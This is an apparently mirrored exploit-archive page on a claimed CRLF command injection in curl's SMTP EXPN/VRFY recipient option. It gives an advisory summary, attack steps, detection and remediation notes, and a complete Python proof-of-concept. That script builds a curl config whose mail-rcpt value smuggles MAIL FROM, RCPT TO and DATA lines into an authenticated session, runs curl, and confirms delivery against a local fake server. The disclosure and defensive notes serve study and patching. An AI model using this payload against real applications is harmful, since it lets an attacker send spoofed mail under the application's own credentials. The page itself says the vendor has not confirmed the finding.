PoC Archive PoC Archive
Medium None assigned as of 2026-07-03 unpatched

curl SMTP EXPN Recipient CRLF Command Injection

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Medium
CVE
None assigned as of 2026-07-03
Category
network
Affected product
curl / libcurl (SMTP support)
Affected versions
Stock curl with SMTP support (version not pinned in source; reproduced against system curl)
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorynetwork
SeverityMedium
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagscurl, smtp, crlf-injection, command-injection, expn, vrfy, protocol-injection, libcurl
RelatedN/A

Affected Target

FieldValue
Software / Systemcurl / libcurl (SMTP support)
Versions AffectedStock curl with SMTP support (version not pinned in source; reproduced against system curl)
Language / PlatformPython 3 driver invoking the curl binary; underlying bug is in curl’s C lib/smtp.c
Authentication RequiredYes (attacker must control or influence the CURLOPT_MAIL_RCPT/mail-rcpt operand passed to curl, e.g., via an application that lets users supply an SMTP recipient/EXPN target)
Network Access RequiredYes (SMTP session to a target mail server)

Summary

Stock curl does not reject CR/LF sequences in the recipient operand used with SMTP EXPN/VRFY custom requests (CURLOPT_MAIL_RCPT), allowing an attacker who controls that operand to inject arbitrary additional SMTP protocol lines into the same authenticated session. The PoC demonstrates this by supplying a recipient value containing \r\n-separated MAIL FROM, RCPT TO, and DATA commands terminated with a dot, causing curl’s single EXPN Friends request to smuggle in a full, separate SMTP message transaction under the same AUTH PLAIN-authenticated connection. The vulnerable code path is Curl_pp_sendf(data, &smtpc->pp, "%s %s%s", smtp->custom, smtp->rcpt->data, ...) in lib/smtp.c, where the custom command is control-byte checked but the recipient operand is not. This lets an application that passes user-controlled input into the SMTP recipient field have curl inject and send attacker-chosen SMTP commands, including full spoofed emails, within its own authenticated session. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

In lib/smtp.c, the SMTP custom-request line is built as "%s %s%s" using smtp->custom and smtp->rcpt->data without stripping or rejecting embedded CR/LF characters from the recipient operand, so attacker-controlled CRLF sequences in that operand are serialized directly into the protocol stream as additional SMTP command lines.

Attack Vector

  1. Attacker-influenced application constructs a curl SMTP request using EXPN/VRFY with a CURLOPT_MAIL_RCPT/mail-rcpt value that is partially or fully attacker-controlled.
  2. Attacker embeds CRLF-separated SMTP commands in the recipient operand: Friends\r\nMAIL FROM:<...>\r\nRCPT TO:<...>\r\nDATA\r\n<headers>\r\n\r\n<body>\r\n..
  3. curl authenticates normally (e.g., AUTH PLAIN), sends the legitimate EXPN Friends line, then continues writing the remaining injected lines as if they were part of the same command.
  4. The target SMTP server processes the injected MAIL FROM/RCPT TO/DATA sequence as additional commands within the already-authenticated session, accepting and delivering the injected message.

Impact

An application that passes attacker-influenced input into curl’s SMTP recipient operand can be coerced into sending arbitrary attacker-controlled SMTP commands and full email messages under its own authenticated SMTP session/credentials — enabling spoofed mail relay, mail spam, or further protocol abuse from a trusted sending context.


Environment / Lab Setup

Target:   Any SMTP server reachable by the vulnerable curl-based application
Attacker: Python 3, stock curl built with SMTP support (system curl or specified path)

Proof of Concept

PoC Script

See run_demo.py in this folder.

1
python run_demo.py

The script starts a local SMTP peer, writes a curl config (-K) file with an EXPN/mail-rcpt operand containing embedded CRLF and a full injected SMTP transaction, invokes stock curl, and records the wire transcript, confirming injection via auth_seen, injected_mail_seen, injected_rcpt_seen, injected_data_seen, and marker_in_message flags plus a VULNERABILITY_CONFIRMED.marker file. Use --curl /path/to/curl to target a specific curl binary, --mode vrfy to exercise the same path via VRFY, and --work-dir/--port to control output location and listener port.


Detection & Indicators of Compromise

Signs of compromise:

  • SMTP server logs showing multiple message transactions initiated from a single client command intended only for EXPN/VRFY
  • Outbound mail relay activity from automation/application service accounts that should only be performing address verification
  • Applications logging user-supplied “recipient” or “username” fields that contain embedded CR/LF sequences

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor curl release notes; the source suggests rejecting CR/LF in the SMTP custom recipient operand (strpbrk(smtp->rcpt->data, "\r\n")) before serialization
Interim mitigationNever pass unsanitized user input into CURLOPT_MAIL_RCPT/mail-rcpt; validate/reject CR and LF characters in any value destined for an SMTP command operand before invoking curl

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: curl-smtp-expn-recipient-crlf-injection) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

run_demo.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
import argparse
import json
import os
import pathlib
import shutil
import socket
import subprocess
import threading
import time


MARKER = "curl-smtp-injection-marker-v1"


def as_bool(value):
    return "true" if value else "false"


def config_quote(value):
    return value.replace("\\", "\\\\").replace('"', '\\"').replace("\r", "\\r").replace("\n", "\\n")


class SmtpPeer:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.ready = threading.Event()
        self.events = []
        self.thread = threading.Thread(target=self.run, daemon=True)
        self.awaiting_plain_auth = False
        self.in_data = False
        self.data_lines = []
        self.completed_messages = []

    def event(self, name, **fields):
        self.events.append({"ts": time.time(), "event": name, **fields})

    def start(self):
        self.thread.start()
        if not self.ready.wait(10):
            raise RuntimeError("SMTP peer did not start")

    def send_line(self, conn, line):
        try:
            conn.sendall((line + "\r\n").encode("ascii"))
            self.event("send", line=line)
        except OSError as error:
            self.event("send_error", line=line, error=repr(error))

    def recv_line(self, conn, buf):
        while b"\n" not in buf:
            try:
                chunk = conn.recv(4096)
            except OSError as error:
                self.event("recv_error", error=repr(error))
                return None, buf
            if chunk == b"":
                return None, buf
            self.event("recv_raw", hex=chunk.hex(), text=chunk.decode("utf-8", "replace"))
            buf += chunk
        line, rest = buf.split(b"\n", 1)
        return line.rstrip(b"\r").decode("utf-8", "replace"), rest

    def run(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
            srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            srv.bind((self.host, self.port))
            srv.listen(1)
            self.port = srv.getsockname()[1]
            self.event("listening", host=self.host, port=self.port)
            self.ready.set()
            conn, peer = srv.accept()
            with conn:
                conn.settimeout(10)
                self.event("accepted", peer=str(peer))
                self.handle(conn)

    def handle(self, conn):
        self.send_line(conn, "220 smtp-peer ESMTP")
        buf = b""
        while True:
            line, buf = self.recv_line(conn, buf)
            if line is None:
                self.event("eof")
                return
            self.event("command", line=line)
            if self.in_data:
                if line == ".":
                    body = "\n".join(self.data_lines)
                    self.completed_messages.append(body)
                    self.event("message_completed", body=body)
                    self.data_lines = []
                    self.in_data = False
                    self.send_line(conn, "250 2.0.0 queued")
                else:
                    self.data_lines.append(line)
                continue
            upper = line.upper()
            if upper.startswith("EHLO") or upper.startswith("HELO"):
                self.send_line(conn, "250-localhost")
                self.send_line(conn, "250-AUTH PLAIN")
                self.send_line(conn, "250 HELP")
            elif upper == "AUTH PLAIN":
                self.awaiting_plain_auth = True
                self.send_line(conn, "334 ")
            elif upper.startswith("AUTH PLAIN "):
                self.send_line(conn, "235 2.7.0 authenticated")
            elif self.awaiting_plain_auth:
                self.awaiting_plain_auth = False
                self.send_line(conn, "235 2.7.0 authenticated")
            elif upper.startswith("EXPN"):
                self.send_line(conn, "250 expanded")
            elif upper.startswith("VRFY"):
                self.send_line(conn, "250 verified")
            elif upper.startswith("MAIL FROM:"):
                self.send_line(conn, "250 2.1.0 sender ok")
            elif upper.startswith("RCPT TO:"):
                self.send_line(conn, "250 2.1.5 recipient ok")
            elif upper == "DATA":
                self.in_data = True
                self.data_lines = []
                self.send_line(conn, "354 end with dot")
            elif upper.startswith("QUIT"):
                self.send_line(conn, "221 bye")
                return
            else:
                self.send_line(conn, "250 ok")


def write_config(path, host, port, mode):
    payload = (
        "Friends\r\n"
        "MAIL FROM:<probe-sender@example.com>\r\n"
        "RCPT TO:<probe-recipient@example.com>\r\n"
        "DATA\r\n"
        "Subject: injected\r\n"
        "\r\n"
        f"{MARKER}\r\n"
        "."
    )
    text = "\n".join(
        [
            f'url = "smtp://{host}:{port}/probe"',
            f'request = "{mode.upper()}"',
            f'mail-rcpt = "{config_quote(payload)}"',
            'user = "alice:secret"',
            'login-options = "AUTH=PLAIN"',
            "verbose",
            'max-time = "10"',
            "",
        ]
    )
    path.write_text(text, encoding="utf-8")


def command_lines(events):
    return [item["line"] for item in events if item.get("event") == "command"]


def first_contains(lines, prefix):
    prefix = prefix.upper()
    return any(line.upper().startswith(prefix) for line in lines)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--curl", default="curl")
    parser.add_argument("--work-dir", default=str(pathlib.Path(__file__).resolve().parent / "run" / "stock-curl-smtp-expn"))
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=0)
    parser.add_argument("--mode", choices=["expn", "vrfy"], default="expn")
    args = parser.parse_args()

    curl = shutil.which(args.curl) or args.curl
    work = pathlib.Path(args.work_dir).resolve()
    logs = work / "logs"
    logs.mkdir(parents=True, exist_ok=True)
    config = work / "smtp-crlf-injection.curlrc"
    marker_file = work / "VULNERABILITY_CONFIRMED.marker"
    evidence_file = logs / "evidence.json"

    peer = SmtpPeer(args.host, args.port)
    peer.start()
    write_config(config, args.host, peer.port, args.mode)

    env = os.environ.copy()
    env["NO_PROXY"] = "*"
    env["no_proxy"] = "*"
    version = subprocess.run([curl, "--version"], text=True, capture_output=True, check=False)
    proc = subprocess.run([curl, "-K", str(config)], text=True, capture_output=True, check=False, timeout=20, env=env)
    peer.thread.join(timeout=2)

    commands = command_lines(peer.events)
    message_body = peer.completed_messages[0] if peer.completed_messages else ""
    custom_request = args.mode.upper()
    checks = {
        "curl_exit_zero": proc.returncode == 0,
        "auth_seen": first_contains(commands, "AUTH PLAIN"),
        "custom_request_seen": first_contains(commands, custom_request),
        "injected_mail_seen": first_contains(commands, "MAIL FROM:<probe-sender@example.com>"),
        "injected_rcpt_seen": first_contains(commands, "RCPT TO:<probe-recipient@example.com>"),
        "injected_data_seen": any(line.upper() == "DATA" for line in commands),
        "message_completed": bool(peer.completed_messages),
        "marker_in_message": MARKER in message_body,
    }
    confirmed = all(checks.values())
    evidence = {
        "curl": curl,
        "curlVersion": version.stdout.splitlines()[0] if version.stdout else "",
        "config": str(config),
        "configText": config.read_text(encoding="utf-8"),
        "returnCode": proc.returncode,
        "stdout": proc.stdout,
        "stderr": proc.stderr,
        "commands": commands,
        "messageBody": message_body,
        "checks": checks,
        "confirmed": confirmed,
        "events": peer.events,
    }
    evidence_file.write_text(json.dumps(evidence, indent=2, sort_keys=True) + "\n", encoding="utf-8")

    if confirmed:
        marker_file.write_text(
            "\n".join(
                [
                    "confirmed=true",
                    f"curl_version={evidence['curlVersion']}",
                    f"mode={args.mode}",
                    "command_injected=true",
                    "message_completed=true",
                    "recipient=<probe-recipient@example.com>",
                    f"marker={MARKER}",
                    "",
                ]
            ),
            encoding="utf-8",
        )

    print(f"curl_version={evidence['curlVersion']}")
    print(f"curl_exit={proc.returncode}")
    for name, value in checks.items():
        print(f"{name}={as_bool(value)}")
    print(f"confirmed={as_bool(confirmed)}")
    print(f"marker_file={marker_file if confirmed else ''}")
    print(f"evidence_json={evidence_file}")
    print(f"work_dir={work}")
    return 0 if confirmed else 1


if __name__ == "__main__":
    raise SystemExit(main())